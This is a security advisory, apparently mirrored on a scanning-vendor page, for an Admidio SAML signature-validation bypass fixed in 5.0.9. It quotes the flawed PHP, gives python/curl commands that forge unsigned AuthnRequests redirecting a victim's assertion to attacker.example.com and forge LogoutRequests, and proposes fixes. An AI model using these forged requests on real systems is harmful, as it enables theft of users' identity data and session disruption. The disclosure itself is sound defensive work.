| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| admidio/admidio | < 5.0.9 | 5.0.9 |
The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.
The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:
// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
// ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
try {
$ok = $signatureReader->validate($key);
if ($ok) {
return true;
} else {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
} catch (Exception $ex) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
}
Both call sites discard the return value entirely:
// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded — execution continues regardless of validation result
}
// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded — execution continues regardless of validation result
}
SSO exploitation path (for already-logged-in users):
modules/sso/index.php:92 routes to これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンhandleSSORequest()receiveMessage() parses SAML binding directly from HTTP GET/POST — no authentication required$gValidLogin is true for logged-in users, so login form is skippedAssertionConsumerServiceURL from the forged requestSLO exploitation path:
modules/sso/index.php:94 routes to handleSLORequest()$gCurrentSession->logout() is called# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)
# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.
# 3. For SLO — forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>[email protected]</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Victim's session is terminated, logout cascaded to all registered SPs.
smc_require_auth_signed setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:
// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
// $result is an error message string — validation failed
throw new Exception($result);
}
}
// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
throw new Exception($result);
}
}
Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
}
return false;
}
// ... (same cert loading logic) ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
}
return false;
}
try {
if (!$signatureReader->validate($key)) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
return true;
} catch (Exception $ex) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
}